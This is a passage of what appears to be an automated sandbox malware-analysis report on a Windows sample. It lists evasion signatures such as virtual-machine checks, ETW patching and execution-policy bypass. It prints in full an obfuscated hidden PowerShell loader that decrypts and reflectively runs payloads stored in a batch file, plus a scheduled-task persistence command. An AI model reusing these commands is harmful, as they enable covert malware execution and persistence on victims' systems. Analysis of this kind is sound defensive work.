        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX

        Malware Analysis System Evasion

        barindex
        .NET source code contains a sample name check
        Source: 5.2.powershell.exe.20644ebced8.8.raw.unpack, SHcGZMGhEfBxxYHAVTwX.cs.Net Code: Main contains sample name check
        Source: 5.2.powershell.exe.20645494098.9.raw.unpack, SHcGZMGhEfBxxYHAVTwX.cs.Net Code: Main contains sample name check
        Source: 5.2.powershell.exe.20644f0cf10.10.raw.unpack, SHcGZMGhEfBxxYHAVTwX.cs.Net Code: Main contains sample name check
        Source: 5.2.powershell.exe.2064c4a0000.12.raw.unpack, SHcGZMGhEfBxxYHAVTwX.cs.Net Code: Main contains sample name check
        Powershell is started from unusual location (likely to bypass HIPS)
        Source: c:\users\user\e45iasd.exeKey value queried: Powershell behavior
        Source: c:\users\user\e45iasd.exeKey value queried: Powershell behavior
        Source: c:\users\user\e45iasd.exeKey value queried: Powershell behavior
        Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
        Source: C:\Windows\System32\net.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
        Source: C:\Windows\System32\net.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
        Source: C:\Windows\System32\net.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
        Source: C:\Windows\System32\net.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
        Source: C:\Windows\System32\net.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
        Source: C:\Users\user\e45iasd.exeMemory allocated: 1CF5D960000 memory reserve | memory write watch
        Source: C:\Users\user\e45iasd.exeMemory allocated: 1CF5F130000 memory reserve | memory write watch
        Source: C:\Users\user\e45iasd.exeMemory allocated: 2AD239A0000 memory reserve | memory write watch
        Source: C:\Users\user\e45iasd.exeMemory allocated: 2AD239A0000 memory reserve | memory write watch
        Source: C:\Users\user\e45iasd.exeMemory allocated: 2306FA70000 memory reserve | memory write watch
        Source: C:\Users\user\e45iasd.exeMemory allocated: 2306FE70000 memory reserve | memory write watch
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Users\user\e45iasd.exeThread delayed: delay time: 922337203685477
        Source: C:\Users\user\e45iasd.exeThread delayed: delay time: 922337203685477
        Source: C:\Users\user\e45iasd.exeThread delayed: delay time: 922337203685477
        Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
        Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4664Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5159Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7496Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2234Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5685Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4027Jump to behavior
        Source: C:\Users\user\e45iasd.exeWindow / User API: threadDelayed 6785
        Source: C:\Users\user\e45iasd.exeWindow / User API: threadDelayed 2922
        Source: C:\Users\user\e45iasd.exeWindow / User API: threadDelayed 7009
        Source: C:\Users\user\e45iasd.exeWindow / User API: threadDelayed 2278
        Source: C:\Users\user\e45iasd.exeWindow / User API: threadDelayed 6341
        Source: C:\Users\user\e45iasd.exeWindow / User API: threadDelayed 3163
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5172Thread sleep count: 4664 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5172Thread sleep count: 5159 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5320Thread sleep count: 44 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5228Thread sleep time: -6456360425798339s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4540Thread sleep time: -7378697629483816s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6324Thread sleep time: -11068046444225724s >= -30000sJump to behavior
        Source: C:\Users\user\e45iasd.exe TID: 1524Thread sleep time: -20291418481080494s >= -30000s
        Source: C:\Users\user\e45iasd.exe TID: 4632Thread sleep time: -17524406870024063s >= -30000s
        Source: C:\Users\user\e45iasd.exe TID: 2436Thread sleep count: 6341 > 30
        Source: C:\Users\user\e45iasd.exe TID: 3152Thread sleep time: -16602069666338586s >= -30000s
        Source: C:\Users\user\e45iasd.exe TID: 6428Thread sleep count: 3163 > 30
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Users\user\e45iasd.exeThread delayed: delay time: 922337203685477
        Source: C:\Users\user\e45iasd.exeThread delayed: delay time: 922337203685477
        Source: C:\Users\user\e45iasd.exeThread delayed: delay time: 922337203685477
        Source: powershell.exe, 00000006.00000002.2299974852.000001D5511F8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Remove-NetEventVmNetworkAdapter
        Source: powershell.exe, 00000006.00000002.2299974852.000001D5511F8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Add-NetEventVmNetworkAdapter
        Source: powershell.exe, 00000006.00000002.2299974852.000001D5511F8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Get-NetEventVmNetworkAdapter
        Source: powershell.exe, 00000005.00000002.2467715306.000002064C673000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: fb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess queried: DebugPortJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Users\user\e45iasd.exeProcess token adjusted: Debug
        Source: C:\Users\user\e45iasd.exeMemory allocated: page read and write | page guard

        HIPS / PFW / Operating System Protection Evasion

        barindex
        Yara detected Powershell decode and execute
        Source: Yara matchFile source: amsi64_6392.amsi.csv, type: OTHER
        Source: Yara matchFile source: amsi64_936.amsi.csv, type: OTHER
        .NET source code references suspicious native API functions
        Source: 5.2.powershell.exe.20635c8baa8.2.raw.unpack, Program.csReference to suspicious API methods: VirtualProtect(zero, (UIntPtr)(ulong)array.Length, PAGE_EXECUTE_READWRITE, out var lpflOldProtect)
        Source: 5.2.powershell.exe.20644ebced8.8.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csReference to suspicious API methods: LoadLibrary("ntdll.dll")
        Source: 5.2.powershell.exe.20644ebced8.8.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csReference to suspicious API methods: GetProcAddress(hModule, "EtwEventWrite")
        Bypasses PowerShell execution policy
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net fileJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));Jump to behavior
        Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 fileJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_521_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_521.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -ForceJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_521.vbs" Jump to behavior
        Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_521.bat" "Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net fileJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); 